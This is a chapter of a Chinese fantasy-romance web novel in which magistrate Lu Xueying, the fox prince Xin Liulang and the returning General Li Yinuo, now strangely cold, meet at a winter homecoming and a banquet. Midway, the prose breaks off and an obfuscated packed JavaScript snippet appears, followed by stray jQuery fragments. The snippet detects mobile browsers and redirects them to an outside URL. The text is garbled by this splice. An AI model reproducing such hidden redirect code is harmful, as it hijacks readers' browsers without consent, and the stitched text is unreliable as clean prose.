21. 如此陌生

作品:《请陆大人明鉴

    监房里,阿施正盘腿坐着,穿着一身素衣,蓬松的狐狸尾巴在身后软软地伏成一片。


    “阿施。”陆学盈打开门,走了进去。


    “陆姐姐。”阿施往里挪了挪,给她腾出位置坐下,“方才在公堂上,谢谢你。”


    “坐下说,”陆学盈挨着她坐下,开门见山道,“你能不能告诉我,为什么非要等到辛六郎来了,你才肯开口呢?”


    阿施抿起一个微笑,尖尖的耳朵动了动:“辛公子说,陆姐姐心软,一定会帮我求情的。我拖着不肯说,就是等你先站出来。”


    “好啊!”陆学盈佯怒,轻轻拍了拍阿施的耳朵,“合着是你们俩串通好了,合起伙来骗我是不是?要是我真不吭声,你就眼睁睁看着自己的手被人斩掉了?”


    “辛公子说了,你不会的。”阿施笑着起来,露出两颗小小的尖牙,“他说得对,你们都是好人。”


    陆学盈顺了顺她的头发,脸上的笑意却渐渐淡去,语气认真起来:“你要答应我,好好将你娘的故事写下来,别让她白白受了那些冤屈。”


    她没说完的后半句是,自己也会将此事记在正史中,而且是浓墨重彩的一笔。


    ***


    出了监房,陆学盈径直在书房门口截住了正要溜走地辛六郎。


    “辛六郎!”陆学盈一把揪住辛六郎的衣领,把人拽到房间中央,压低声音道,“你这是演我呢?昨儿个信誓旦旦说今天要在公堂上自曝身份,结果呢?你非但一个字没提,还跟阿施串通好了,就等着我去得罪徐大人!还私下去找了李以诺给你当靠山!”


    “陆大人!轻点,轻点!”辛六郎被她揪得身子一歪,连忙求饶似地拍了拍她的手,“我们这不是相信大人嘛,你如此公正仁厚,绝对不会放任不管,既然你势必会开口,那何必在下多此一举呢。”


    陆学盈松开手,他赶紧用手抚平被扯皱的衣领,还颇为矜持地瞪了她一眼,悄声嘀咕:“再怎么着,在下也是狐族的六皇子,还请大人以礼相待。”


    “六皇子?”陆学盈抱起胳膊,慢悠悠地晃到茶案前,给自己倒了杯水,喝了一口,“我怎么记得,有人说自己不当这个破顾问了。怎么还赖在在我这衙门书房里,蹭我的茶喝?”


    “那……那不是激将法嘛,”辛六郎展开纸扇,挡住了半边脸,眼睛里地笑意却是一点也藏不住,“大人,在下虽为狐妖,但论起这随机应变、揣度人心的本事,自问还是演技了得。”


    “少在这得意。”陆学盈放下杯子,忽然凑近他,低声问,“我倒是好奇,你怎么就敢在我面前暴露身份?不怕我转头就公告天下,把你这六皇子赶出承州?”


    辛六郎没料到她突然靠近,淡淡地香气袭来,他两腮瞬间红了一片,支支吾吾说不出话。


    “哑巴了?”陆学盈的声音近在耳侧。


    “在下知道大人不会的!”辛六郎像被什么烫着了,猛地向后跳出好几步,拼命用扇子给自己的脸扇风降温,“凭在下对大人的了解,你不是那种人。”


    “既然是六皇子,那你怎么不回到族里去?”陆学盈摆弄着案上的茶壶,佯装不经意一问,“你以后难不成要一直躲在这小小衙门里?”


    辛六郎扇扇子的动作顿了顿,望着她,眼神一滞,又飞快眨眨眼,换上那副惯常的懒散笑容:“族里……没什么意思,还是跟着大人办案有趣些。”


    陆学盈没接话,心思一转,又想到了李以诺那日的话。


    “他的表情让我瞬间明白,他也喜欢你。”


    什么表情?她下意识侧过脸,偷偷看向辛六郎,却正好撞上他也望过来的目光。她的心跳没来由地重重跳了两下,赶忙转头,端起已经凉了的茶。


    ***


    阿施的案子了结后,府衙依诺将阿施写好的故事附在判文后,一并张贴公示。


    文告一出,承州城里果然起了不小的波澜。


    有人拍手称快,觉得早该如此,也有人不以为然,觉得区区一则妖物故事,官服未免太过小题大做。


    百姓的想法,陆学盈左右不了,她只知道自己做了该做的事,尽了该尽的力,其他一切,就随风而去罢。


    毕竟史官修养,就是文直、事核,不虚美、不隐恶。


    倒是她和辛六郎只见,似乎因此案打破了某种无形的隔膜,关系变得前所未有的……和谐。


    辛六郎不再像初来时那般刻意收敛,甚至时不时主动向陆学盈提及一些狐族才知晓的辨妖之法、通灵小术,或是妖界的轶事传闻、家族历史。


    在他眼里,陆学盈是个并不排斥自己妖灵身份的凡人,听听这些也无妨,反正她也无从求证。


    陆学盈便常常一边翻阅卷宗,一边听他坐在窗边叽叽喳喳,嘴角勾起淡淡的笑。


    冬越来越深了。窗外积雪数尺,寒风吹起打卷的雪沫,扑在窗纸上,映得辛六郎得的脸庞更加洁白,几乎要与外面的雪景融为一体。


    陆学盈看着,忽然有些走神。他若是显出原形,通体银白的狐狸,在这样茫茫的雪地里奔跑,不知道是什么样子。


    “陆大人!”


    杜班头兴冲冲地跑了进来,打断了她的出神。


    他满脸喜色地抬起头,却瞧见陆学盈和辛六郎两人正对坐在窗前。一个拿着纸扇,笑得前俯后仰,另一个喝着茶,眼睛溢出笑意,望着对方。


    他张着嘴,一时看得有些发冷,准备好的话卡在喉咙里,只好尴尬地咽了咽唾沫。


    “怎么了?”陆学盈被声音吓了一跳,转过头来,“又有新案子?”


    “那倒不是,是喜事!”杜班头不好意思地笑了笑,“李将军在西南打了大胜仗,明日冬至,正好班师回城。徐大人下令,全城老百姓出来迎军,让咱们衙门的人都去到城门维持秩序。”


    “嗯,知道了。”陆学盈心虚地瞟了一眼辛六郎,又喝了口茶。


    杜班头本想借着这由头,好好打趣几句李将军和陆捕头,可看着眼前这两人,总觉得不知道哪里不太合时宜,便没趣地退下了。


    “陆大人应该很高兴吧。”辛六郎没头没尾地来了一句。


    “打了胜仗,保境安民,自然高兴。”陆学盈不动声色地站了起来,“明日你去吗?”


    “当然要去,”辛六郎伸了个懒腰,懒洋洋地瞥了一眼窗外,“李将军怎么说也帮过我们不少忙。只是这天寒地冻的,恐怕明日大人要吹风受罪了。”


    陆学盈听不出他这些话的意思,脑子萦绕不去的,还是李以诺那句话。


    若他真的对自己有意……只要自己的身份不暴露,人妖有别,估计也不会惹出什么事来。


    近来承州太平得很,连个捣乱的小妖都没有。若接下来这段时间都无事发生,或者她也该着手准备回妖界了。


    这么一想,她不由得抬起眼,将这间呆了许久的书房细细打量一圈。书卷、茶盘、常坐的椅子、窗外的老树……竟也生出几分眷恋的滋味。


    ***


    这日倒是应了冬至的景,到了最深的寒。


    一大早便下了一场大雪,风一刮,又阴又冷。


    陆学盈裹上了厚厚的夹袄,戴了覆耳的风帽,但还是抵不过直往骨头里钻的寒风。


    城门两侧,早已挤满了前来迎接的百姓。个个冻得直哆嗦,却掩不住脸上鲜明的喜色。


    也难怪。承州地处边陲,一年到头总免不了外族滋扰。战事一起,物价飞涨,每日还要提心吊胆,苦的还是百姓人家。


    据说这次李以诺将西南边患全族一举荡平,至少能换得三五年的太平日子,谁能不高兴呢?


    陆学盈踮脚望着白茫茫的官道尽头,一丝人影也无,只觉得自己要被冻成冰雕了。她忽然脑筋一转,左右张望,在人群外围找到了同样裹得严严实实,只露出一张俏脸的辛六郎。


    他抄着手,缩着脖子,对她憨憨笑了一笑,倒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039201|194522||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像个乡野村夫。


    她几步走过去,不由分说地将他拉到自己身侧:“别躲了,过来,就现在你还能派上点用场。”


    辛六郎前一秒还困惑不已,后一秒,陆学盈已经挨着他站定,并且十分顺手地,将手贴在他的手腕处。


    “真暖和。”她用手蹭了蹭他往外冒热气的袖口,一股温热的气息透过衣料传来。


    他心里砰砰作响,动也不敢动,半天憋出一句:“敢情……陆大人是拿在下当暖手炉使啊?”


    “来了来了!”有人在前面大喊。


    陆学盈立刻松手,站直了身子,顺着人潮向前望去。


    只见一片雪色之中,一队人马的身影逐渐出现,越走越近,队伍也越来越清晰。


    李以诺骑着战马,行在最前方。


    甲胄沾雪,却依旧身姿挺拔。


    “以诺!”陆学盈扬起手,高兴地朝他喊了一声。


    他听见了,稍微侧了侧头,视线扫了过来,落在她脸上。


    陆学盈不知道如何形容这个眼神。


    没有任何温度,只有一片陌生、空洞和冷漠。


    像一把比寒风还要利的小刀,从远处茫然地朝她直刺,却精准地将她划伤。


    她的手僵在半空,无力地垂了下来。


    “怎么?”辛六郎不知何时又凑到了旁边,看着李以诺奇怪的神情,低声问,“陆大人……惹李将军生气了?”


    “胡说八道。”陆学盈瞪了他一眼。辛六郎识趣地缩回帽子里,却又小心翼翼地看了她一眼,默默将一个刚从杜班头那里讨来的汤婆子,塞到她手里。


    陆学盈倒是没想那么多,也许是今日穿得厚,他没认出来。


    周遭的欢呼呐喊声越来越高,一阵阵“恭迎将军”的声浪快把这地界掀翻了。


    三千多人的队伍一路浩浩荡荡进了城,聚集的人也渐渐散去。


    陆学盈在腰间别好长刀,便招呼大伙一起离开。


    徐远青早已在醉云楼设了宴,为李以诺接风洗尘。衙门里的人,自然也要作陪。


    醉云楼人声鼎沸,掌柜的一瞧见陆学盈一行人,立刻点头哈腰地迎上来:“陆大人,各位差爷,李将军和徐大人已在二楼包间,请随我来。”


    陆学盈踏上楼梯,一进包间,一股酒气混着地龙的暖意扑面而来。


    看这样子,应该已经是喝过几巡了。


    她捡了个靠窗的空位坐下,徐远青那双虽有醉意,却异常尖利的眼睛便扫了过来。


    “哎哟,瞧瞧谁来了,是我们的陆捕头!”他通红着脸,伸手指了指李以诺身边特意空出的一个位置,“坐那么远做什么?来来来,到这儿来坐!挨着李将军近些,说话方便!”


    陆学盈轻轻叹了口气。怎么吃个饭也这么难。


    众目睽睽之下,她不好推辞,只得起身。


    她一落座,徐远青便摇晃着站起身,端着酒杯,梗着通红的脖子,往她和李以诺中间一站。


    “陆捕头,李将军此番立下大功,你还不快给李将军敬一杯?”他蝌蚪大的眼睛乱飘,笑得格外不怀好意,见陆学盈迟疑,还拍了拍她的肩膀,“有什么不好意思的?我看哪……都快成一家人了!李将军,您说是不是?”


    陆学盈想拔刀了,却听见隔壁桌“哐当”一声,是辛六郎失手碰掉了一个酒杯。


    她转过头来看李以诺,他依旧面无表情,只是垂着眼,默默喝酒。


    她只好站起身来,朝李以诺抱了抱拳:“恭喜李将军凯旋,扬我军威,我代承州老百姓,敬将军一杯。”


    说罢,举起酒杯便一饮而尽。


    李以诺这才偏过头,看了她一眼,那眼神依旧混沌如雾,仿佛在看一个无关紧要的人。


    他同样举起酒杯,将酒饮尽。


    “职责所在。”他放下杯子,才说出这四个字。


    陆学盈皱起眉头。眼前的李以诺,陌生得可怕。